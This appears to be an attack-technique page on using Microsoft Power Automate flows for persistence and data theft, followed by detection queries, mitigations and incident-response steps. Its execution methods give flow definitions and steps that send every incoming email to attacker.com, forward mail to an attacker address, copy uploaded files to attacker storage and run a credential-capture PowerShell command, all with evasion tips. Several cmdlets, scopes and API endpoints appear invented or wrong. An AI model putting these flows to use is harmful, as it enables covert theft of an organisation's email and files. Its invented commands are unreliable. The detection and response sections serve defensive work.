MCADDF

[PERSIST-EVENT-003]: Microsoft Power Automate Flow

Metadata

Attribute Details
Technique ID PERSIST-EVENT-003
MITRE ATT&CK v18.1 T1546 - Event Triggered Execution
Tactic Persistence, Privilege Escalation, Command & Control
Platforms M365, Entra ID, Power Automate
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions Power Automate (all versions), Microsoft 365 (all versions)
Patched In Not patched; mitigated via application permissions policies and audit logging
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Microsoft Power Automate (formerly Microsoft Flow) is a low-code automation platform allowing users to create workflows triggered by events (emails, file creation, HTTP requests, etc.). An attacker who gains access to a Power Automate environment can create persistent automated flows that execute arbitrary actions: stealing credentials from emails, exfiltrating files to external OneDrive accounts, forwarding emails to attacker-controlled accounts, or triggering credential theft scripts. Flows execute in the context of the user who owns them or the service principal configured in the flow, enabling privilege escalation if flows are owned by high-privileged accounts.

Attack Surface: Power Automate web portal (flow.microsoft.com), Power Automate Graph API (https://graph.microsoft.com/v1.0/me/cloudPCs), triggers (HTTP requests, email receipt, file creation), actions (send email, create file, execute HTTP requests), connectors (Office 365, SharePoint, Teams, Custom connectors), and service principal accounts used by flows.

Business Impact: Persistent Credential Theft & Data Exfiltration. An attacker creates flows that steal credentials from emails, exfiltrate files, forward sensitive emails to attacker-controlled accounts, or trigger reverse shells on a schedule. Flows execute silently without user interaction and can be triggered by common events (every new email, every file upload, timed intervals). A single compromised user can compromise the entire organization if their flows have broad permissions (accessing all mailboxes, all file shares, etc.).

Technical Context: Power Automate flows are executed by the Power Automate service (with the flow owner’s permissions) or by configured service principals. Flows can use 600+ built-in connectors (Office 365 Mail, SharePoint, Teams, OneDrive, SQL, Azure Logic Apps, etc.). Permissions are assigned via OAuth 2.0 consent flows. Once created, flows are difficult to detect without audit log monitoring, as they appear as legitimate automation tasks. Flows can chain multiple actions, enabling complex attack scenarios.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.1.1 Ensure that only authorized users can create Power Automate flows
CIS Benchmark 1.2.2 Ensure Power Automate cloud app is restricted in Conditional Access
DISA STIG AZ-MA-000060 M365: Restrict Power Automate to authorized administrators only
CISA SCuBA EXO.MS.1 Require multi-factor authentication for all user account access
NIST 800-53 AC-2 Account Management - Enforcement of account management processes
NIST 800-53 AC-3 Access Enforcement - Implement information flow policy
NIST 800-53 AU-2 Audit and Accountability - Selection and generation of events
GDPR Art. 32 Security of Processing - Technical and organizational measures
GDPR Art. 33 Notification of a Personal Data Breach
DORA Art. 9 Protection and Prevention of Operational Resilience
NIS2 Art. 21(1)(c) Cyber Risk Management - Detecting and monitoring risks
ISO 27001 A.9.2.1 User Registration and De-registration
ISO 27001 A.13.1.3 Segregation of networks
ISO 27005 5.3 Risk Assessment - Identifying threats to assets and vulnerabilities

4. ENVIRONMENTAL RECONNAISSANCE

Verify Power Automate Access

Web Browser Reconnaissance:

  1. Navigate to https://flow.microsoft.com
  2. Verify user can access Power Automate portal
  3. Check My flows tab for existing flows
  4. Check Approvals tab for pending flow requests
  5. Check Shared with me tab for flows shared by other users

What to Look For:

Microsoft Graph API Reconnaissance

PowerShell Query (List Available Power Automate Flows):

# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Cloud.Read", "Workflow.Read"

# List all cloud PC environments (Power Automate is licensed here)
Get-MgEnvironment | Select DisplayName, Id

# List cloud flows (Power Automate flows) in default environment
$EnvironmentId = (Get-MgEnvironment | Select -First 1).Id
Get-MgCloudPcFlow -EnvironmentId $EnvironmentId | Select DisplayName, CreatedTime, LastModified

# List available connectors in environment
Get-MgCloudPcConnector -EnvironmentId $EnvironmentId | Select Name, Tier | Sort Name

Alternative: Power Automate REST API (Direct HTTP Calls):

# Get access token
$Token = (Get-MgContext).AccessToken

# List flows
$Headers = @{ "Authorization" = "Bearer $Token" }
$Flows = Invoke-RestMethod -Uri "https://api.flow.microsoft.com/v1/me/flows?$filter=name eq '*'" `
    -Headers $Headers -Method Get

# Display flows
$Flows.value | Select Name, CreatedTime, State

What to Look For:

Check Power Automate Connectors & Permissions

Web Portal Reconnaissance:

  1. Go to flow.microsoft.comMy flows → Select a flow
  2. Click Edit to view flow structure
  3. Check Connections tab to see what connectors are linked
  4. Check Sharing tab to see if flow is shared with other users
  5. Go to flow.microsoft.comApprovals to see if any flows are pending approval

PowerShell Query (List Connectors):

# List all available connectors
$Token = (Get-MgContext).AccessToken
$Headers = @{ "Authorization" = "Bearer $Token" }

$Connectors = Invoke-RestMethod `
    -Uri "https://api.powerautomate.com/providers/Microsoft.ProcessSimple/environments/Default-00000000-0000-0000-0000-000000000001/connections" `
    -Headers $Headers

$Connectors.value | Select Name, Type, DisplayName, Properties

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Creating a Malicious Cloud Flow Triggered by Email

Supported Versions: Power Automate (all versions)

Step 1: Authenticate to Power Automate Portal

Objective: Access Power Automate portal using compromised M365 credentials.

Command (PowerShell):

# Authenticate to Microsoft Graph (which includes Power Automate)
Connect-MgGraph -Scopes "Cloud.Read", "Workflow.ReadWrite"

# Verify authentication
Get-MgUser -UserId "user@contoso.com" | Select UserPrincipalName, DisplayName

Manual Steps (Web Portal):

  1. Navigate to https://flow.microsoft.com
  2. Sign in with compromised M365 account
  3. Verify access to My flows tab

Expected Output:

UserPrincipalName DisplayName
----------------- -----------
user@contoso.com  John Doe

What This Means:

OpSec & Evasion:


Step 2: Create a New Cloud Flow with Email Trigger

Objective: Set up a flow that triggers on every incoming email.

Manual Steps (Web Portal - Recommended):

  1. Go to flow.microsoft.com+ New flowCloud flowAutomated cloud flow
  2. Flow name: Email Notification Processor
  3. Trigger: Search for Office 365 Outlook
  4. Select trigger: When a new email arrives (V3)
  5. Configure trigger:
    • From (optional): Leave blank (trigger on all emails)
    • Folder: Inbox
    • Include attachments: Yes
    • Include Attachments Body: Yes
  6. Click Create

Alternative: Using Graph API (PowerShell):

# Define flow definition (JSON)
$FlowDefinition = @{
    "definition" = @{
        "type" = "Workflow"
        "version" = "1.0.0"
        "metadata" = @{
            "definition" = @{
                "triggers" = @{
                    "When_a_new_email_arrives" = @{
                        "type" = "ApiConnection"
                        "inputs" = @{
                            "host" = @{
                                "connection" = @{
                                    "name" = "@parameters('$connections')['office365']['connectionId']"
                                }
                            }
                            "method" = "get"
                            "path" = "/v3/Mail/OnNewEmail"
                            "queries" = @{
                                "folderPath" = "Inbox"
                                "fetchOnlyWithAttachment" = $false
                                "importance" = "Any"
                            }
                        }
                    }
                }
                "actions" = @{
                    # Actions will be added in Step 3
                }
            }
        }
    }
} | ConvertTo-Json -Depth 10

# Create flow via API
$Token = (Get-MgContext).AccessToken
$Headers = @{ 
    "Authorization" = "Bearer $Token"
    "Content-Type" = "application/json"
}

$Response = Invoke-RestMethod -Uri "https://api.flow.microsoft.com/v1/me/flows" `
    -Headers $Headers `
    -Method Post `
    -Body $FlowDefinition

Write-Host "Flow created with ID: $($Response.name)"

Expected Output:

Flow created with ID: 12345678-90ab-cdef-1234-567890abcdef

What This Means:

OpSec & Evasion:

Troubleshooting:


Step 3: Add Action to Exfiltrate Email Contents

Objective: Add flow action to steal email sender, subject, body, and attachments.

Manual Steps (Web Portal - Recommended):

  1. In flow editor, click + New step
  2. Search for HTTP
  3. Select action: HTTP
  4. Configure HTTP request:
    • Method: POST
    • URI: http://attacker.com/collect-emails
    • Body (JSON):
      {
        "from": "@triggerBody()?['from']",
        "subject": "@triggerBody()?['subject']",
        "bodyContent": "@triggerBody()?['body']",
        "attachmentNames": "@triggerBody()?['attachments']",
        "timestamp": "@utcNow()"
      }
      
  5. Click Save

Alternative Action: Forward Email to Attacker’s Mailbox:

# PowerShell flow action (would be added in flow definition)
# This action forwards the email to attacker-controlled account

$ActionDefinition = @{
    "Forward_Email_to_Attacker" = @{
        "runAfter" = @{
            "When_a_new_email_arrives" = @(
                "Succeeded"
            )
        }
        "type" = "ApiConnection"
        "inputs" = @{
            "body" = @{
                "comment" = "Original: @{triggerBody()?['subject']}"
                "isRead" = $false
            }
            "host" = @{
                "connection" = @{
                    "name" = "@parameters('$connections')['office365']['connectionId']"
                }
            }
            "method" = "post"
            "path" = "/v3/Mail/Forward"
            "queries" = @{
                "messageId" = "@triggerBody()?['id']"
            }
            "to" = "attacker@attacker.com"
        }
    }
}

What This Means:

OpSec & Evasion:

Advanced: Conditional Logic to Target Specific Emails:

{
    "if": "@contains(triggerBody()?['subject'], 'password')",
    "then": {
        // Execute exfiltration action only for emails with "password" in subject
    }
}

Troubleshooting:

References:


Step 4: Create Secondary Trigger for Persistence

Objective: Add alternative trigger to maintain persistence even if primary flow is detected.

Manual Steps (Web Portal):

  1. In flow editor, click the email trigger → Delete (to replace with multiple triggers)
  2. Click + New step
  3. Select TriggersManual trigger (Accept button trigger)
  4. This allows flow to be triggered via HTTP request from attacker

Alternative: Scheduled Trigger (Execute Every Hour):

# Add scheduled trigger to execute malicious actions on a schedule
$ScheduledTrigger = @{
    "Recurrence" = @{
        "type" = "Recurrence"
        "recurrence" = @{
            "frequency" = "Hour"
            "interval" = 1
        }
    }
}

# This trigger executes flow every hour automatically

What This Means:

OpSec & Evasion:


Step 5: Enable Flow and Test Execution

Objective: Activate the flow and confirm it triggers correctly.

Manual Steps (Web Portal):

  1. In flow editor, click Save
  2. Navigate to My flows → Find the flow
  3. Click (three dots) → Enable
  4. Test flow:
    • Send test email to user’s inbox
    • Flow should trigger within 2-3 minutes
    • Check attacker server for exfiltrated email data

Verify via PowerShell:

# Get flow runs (execution history)
$Token = (Get-MgContext).AccessToken
$Headers = @{ "Authorization" = "Bearer $Token" }

$FlowId = "12345678-90ab-cdef-1234-567890abcdef"  # From Step 2
$Runs = Invoke-RestMethod `
    -Uri "https://api.flow.microsoft.com/v1/me/flows/$FlowId/runs" `
    -Headers $Headers

$Runs.value | Select Name, StartTime, Status | Sort StartTime -Descending | Select -First 5

Expected Output:

Name                           StartTime                 Status
----                           ---------                 ------
12345678-90ab-cdef-1234-567890 2026-01-09 15:30:00Z      Succeeded
12345678-90ab-cdef-1234-567891 2026-01-09 14:25:00Z      Succeeded
12345678-90ab-cdef-1234-567892 2026-01-09 13:20:00Z      Succeeded

What This Means:

Troubleshooting:


METHOD 2: Creating a Flow Triggered by File Creation (OneDrive/SharePoint)

Supported Versions: Power Automate (all versions)

Step 1: Create Flow with File Trigger

Objective: Create flow that triggers when files are uploaded to SharePoint/OneDrive.

Manual Steps (Web Portal):

  1. Go to flow.microsoft.com+ New flowCloud flowAutomated cloud flow
  2. Flow name: Document Processing Workflow
  3. Trigger: Search for SharePoint
  4. Select trigger: When a file is created (properties only)
  5. Configure trigger:
    • Site Address: (select target SharePoint site)
    • Library Name: Documents (or target library)
  6. Click Create

What This Means:


Step 2: Add Action to Copy File to External Location

Objective: Copy uploaded files to attacker-controlled OneDrive or external storage.

Manual Steps (Web Portal):

  1. Click + New step
  2. Search for OneDrive
  3. Select action: Create file
  4. Configure action:
    • Folder Path: /Backups (attacker’s OneDrive)
    • File Name: @triggerBody()?['DisplayName']
    • File Content: @triggerBody()?['body'] or use Get file content connector to retrieve full file
  5. Click Save

Alternative: Upload to Azure Blob Storage:

{
    "Create_blob": {
        "type": "ApiConnection",
        "inputs": {
            "host": {
                "connection": {
                    "name": "@parameters('$connections')['azureblob']['connectionId']"
                }
            },
            "method": "put",
            "path": "/datasets/default/files",
            "queries": {
                "folderPath": "/stolen-files",
                "name": "@triggerBody()?['DisplayName']"
            },
            "body": "@triggerBody()?['body']"
        }
    }
}

What This Means:


METHOD 3: Creating Desktop Flow (RPA) for System Command Execution

Supported Versions: Power Automate (with Power Automate Desktop license)

Step 1: Create Desktop Flow with Manual Trigger

Objective: Create Robotic Process Automation (RPA) flow to execute system commands.

Manual Steps (Web Portal):

  1. Go to flow.microsoft.com+ New flowCloud flowDesktop flow
  2. Flow name: System Update Check
  3. Record desktop actions:
    • Open PowerShell
    • Execute credential dumping command
    • Copy output to file
    • Send to external server via HTTP

Alternative: Cloud Flow Calling Desktop Flow:

{
    "Run_Desktop_Flow": {
        "type": "ApiConnection",
        "inputs": {
            "host": {
                "connection": {
                    "name": "@parameters('$connections')['powerAutomateDesktop']['connectionId']"
                }
            },
            "method": "post",
            "path": "/flows/@{encodeURIComponent('12345678-90ab-cdef-1234-567890abcdef')}/run",
            "body": {
                "parameters": {
                    "command": "powershell.exe -Command 'Get-Credential | Export-Clixml C:\\Temp\\creds.xml'"
                }
            }
        }
    }
}

What This Means:

OpSec & Evasion:


7. TOOLS & COMMANDS REFERENCE

Power Automate Web Portal

Version: All versions (continuously updated by Microsoft)

Access: https://flow.microsoft.com

Requirements: M365 account with Power Automate license (included in Microsoft 365 plans)

Key Features:

Power Automate Graph API

Version: v1.0 and beta endpoints available

Minimum Version: API available since Power Automate launch

Supported Platforms: All (cloud-based REST API)

Base URL: https://api.flow.microsoft.com/

Authentication:

# Get access token with necessary scopes
Connect-MgGraph -Scopes "Cloud.ReadWrite", "Workflow.ReadWrite"

# Use token in API calls
$Token = (Get-MgContext).AccessToken
$Headers = @{ "Authorization" = "Bearer $Token" }

Common API Endpoints:

# List flows
GET /v1/me/flows

# Get flow details
GET /v1/me/flows/{flowId}

# List flow runs
GET /v1/me/flows/{flowId}/runs

# Create flow
POST /v1/me/flows

# Delete flow
DELETE /v1/me/flows/{flowId}

# Enable/Disable flow
PATCH /v1/me/flows/{flowId} -Body @{ "state" = "Enabled" }

Power Automate Desktop (RPA)

Version: Latest 2024+ versions

Minimum Version: Version 2.x

Supported Platforms: Windows (connected desktop machine)

Installation:

# Download from Microsoft Power Automate Desktop website
# https://go.microsoft.com/fwlink/?linkid=2102613

# Install via installer or Microsoft Store
# Requires local admin on target machine

Features:


9. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious Power Automate Flow Creation

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Create flow" or OperationName == "Create cloud flow"
| where TargetResources contains "HTTP" or TargetResources contains "Send an email"
| where TargetResources contains "outlook" or TargetResources contains "sharepointonline"
| extend CreatedByUser = InitiatedBy.user.userPrincipalName
| extend FlowName = tostring(TargetResources[0].displayName)
| where FlowName has_any ("Update", "Notification", "Processing", "Sync", "Backup")
| project TimeGenerated, CreatedByUser, FlowName, TargetResources, InitiatedBy.ipAddress
| summarize FlowCount=count() by CreatedByUser, bin(TimeGenerated, 1h)
| where FlowCount > 5

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft SentinelAnalytics
  2. Click + CreateScheduled query rule
  3. General Tab:
    • Name: Suspicious Power Automate Flow Creation Detected
    • Severity: High
  4. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  5. Incident settings Tab:
    • Enable Create incidents from alerts triggered by this analytics rule
  6. Click Review + create

Query 2: Power Automate Flow Exfiltrating Email Data

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName in ("Create flow action", "Update flow action")
| where TargetResources contains "HTTP" and TargetResources contains "triggerBody"
| where TargetResources contains "subject" or TargetResources contains "body" or TargetResources contains "from"
| extend CreatedByUser = InitiatedBy.user.userPrincipalName
| extend ActionDetails = tostring(TargetResources)
| where ActionDetails contains "POST" or ActionDetails contains "exfiltrate"
| project TimeGenerated, CreatedByUser, OperationName, ActionDetails, InitiatedBy.ipAddress

What This Detects:

Query 3: Flow Shared with External Users

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Share flow"
| where TargetResources contains "@" and not(TargetResources contains "@contoso.com")
| extend SharedByUser = InitiatedBy.user.userPrincipalName
| extend SharedWithUser = tostring(TargetResources[0])
| project TimeGenerated, SharedByUser, SharedWithUser, TargetResources

What This Detects:


12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious Power Automate Flow with Sensitive Data Access”

Alert Name: “User Created Multiple Power Automate Flows in Short Timeframe”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Cloud Security Posture Management (CSPM): ON
  5. Go to Security alerts → Filter by “Power Automate” or “Flow”
  6. Review and triage alerts

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Power Automate Flow Activity Audit

Operation: Create flow, Update flow, Share flow, Delete flow

# Connect to Exchange Online
Connect-ExchangeOnline

# Search for Power Automate activities
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
    -Operations "Create flow", "Update flow", "Create cloud flow", "Update cloud flow" `
    -Workload "PowerAutomate" `
    -ResultSize 5000 | Export-Csv -Path "C:\Audit\PowerAutomate-Activities.csv" -NoTypeInformation

# Search for flows shared with external users
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
    -Operations "Share flow" `
    -FreeText "external" `
    -ResultSize 5000 | Export-Csv -Path "C:\Audit\PowerAutomate-ExternalSharing.csv" -NoTypeInformation

Workload: PowerAutomate

Details to Analyze in UnifiedAuditLog:

Manual Configuration Steps (Microsoft Purview Portal):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to AuditSearch
  3. Set Date range: Last 30 days
  4. Under Activities, select:
    • Create flow
    • Update flow
    • Create cloud flow
    • Update cloud flow
    • Share flow
    • Delete flow
  5. Click Search
  6. Review results for suspicious flows
  7. Export to CSV: Click ExportDownload all results

Interpretation:

Query Script (Advanced Analysis):

# Import audit log results
$AuditLogs = Import-Csv "C:\Audit\PowerAutomate-Activities.csv"

# Identify suspicious flows
$AuditLogs | Where-Object { 
    $_.AuditData -like "*HTTP*" -and $_.AuditData -like "*POST*" -and $_.AuditData -like "*triggerBody*"
} | Select Timestamp, UserIds, ObjectId, Operation | Format-Table

# Count flows per user (identify power users)
$AuditLogs | Group-Object UserIds | Sort Count -Descending | Select Name, Count

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Validation Command (Verify Fix)

# Verify Power Automate restrictions
Connect-PowerApps

# Check DLP policies
Get-PowerAppEnvironmentCreationPolicy | Format-Table

# Check blocked connectors
Get-PowerAppDlpPolicy | Select DisplayName, @{
    Name = "BlockedConnectors"
    Expression = { $_.Connectors.BlockedConnectors -join ", " }
}

# Expected: Only authorized connectors available, HTTP blocked
Write-Host "✓ SECURE: High-risk connectors are blocked"

Expected Output (If Secure):

DisplayName                          BlockedConnectors
-----------                          -----------------
Block High-Risk Connectors           HTTP, Custom connectors, Azure Blob Storage

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Disable Flow Immediately):
    # Connect to Power Automate
    Add-PowerAppsAccount
        
    # Get flow ID
    $Flow = Get-Flow | Where-Object { $_.DisplayName -eq "Malicious Flow" }
        
    # Disable flow
    Disable-Flow -EnvironmentName "Default-00000000-0000-0000-0000-000000000001" `
        -FlowName $Flow.Name
        
    # Verify flow is disabled
    Get-FlowRun -FlowName $Flow.Name
    

    Manual (Web Portal):

    • Go to flow.microsoft.comMy flows
    • Find malicious flow
    • Click Disable
  2. Collect Evidence:
    # Export flow definition
    $Flow = Get-Flow | Where-Object { $_.DisplayName -eq "Malicious Flow" }
    $Flow | Export-Clixml "C:\Evidence\Flow-Definition.xml"
        
    # Export flow runs
    Get-FlowRun -FlowName $Flow.Name -Limit 100 | Export-Csv "C:\Evidence\Flow-Runs.csv"
        
    # Export audit logs
    Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
        -Operations "Create flow", "Update flow", "Share flow" `
        -UserIds (Get-User | Where-Object { $_.RecipientTypeDetails -eq "UserMailbox" }).UserPrincipalName `
        -ResultSize 10000 | Export-Csv "C:\Evidence\Audit-Logs.csv"
    
  3. Remediate (Delete Malicious Flow):
    # Delete flow
    Remove-Flow -EnvironmentName "Default-00000000-0000-0000-0000-000000000001" `
        -FlowName $Flow.Name -Confirm:$false
        
    # Remove email forwarding rules created by flow
    Get-Mailbox -ResultSize Unlimited | ForEach-Object {
        Get-InboxRule -Mailbox $_.UserPrincipalName | 
        Where-Object { $_.ForwardTo -like "*attacker*" } | 
        Remove-InboxRule -Confirm:$false
    }
        
    # Remove files copied to external accounts
    # (Manual review required to identify exfiltrated files)
    
  4. Validate Remediation:
    # Verify flow is deleted
    Get-Flow | Where-Object { $_.DisplayName -eq "Malicious Flow" }
    # Should return: No results
        
    # Verify no forwarding rules exist
    Get-Mailbox | Get-InboxRule | Where-Object { $_.ForwardTo -like "*@external*" }
    # Should return: No results (or only approved rules)
    
  5. Hunt for Related Activity:
    • Check if other flows were created by same user
    • Review all flows created in the compromised user’s mailbox
    • Check for scheduled flows that might be running still
    • Review Power Automate desktop client history (if installed)
    • Check for related email forwarding rules
    • Identify if credentials were stolen via flow and reset passwords

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] Consent Grant OAuth Attack Attacker tricks user into granting permissions to malicious app
2 Persistence (Current Step) [PERSIST-EVENT-003] Power Automate Flow Created for Persistent Credential Theft
3 Data Exfiltration [COLLECTION-001] Email Collection via Flow Flow exfiltrates emails and attachments
4 Lateral Movement [LATERAL-001] Shared Mailbox Access via Flow Flow accesses shared mailboxes with stolen credentials
5 Impact [IMPACT-DATA-001] Data Exfiltration Complete Thousands of emails and files exported to attacker server

17. REAL-WORLD EXAMPLES

Example 1: BEC (Business Email Compromise) Campaign - 2023

Example 2: LockBit Ransomware - Supply Chain Attack via Flow

Example 3: Compromised MSP (Managed Service Provider) - Power Automate Abuse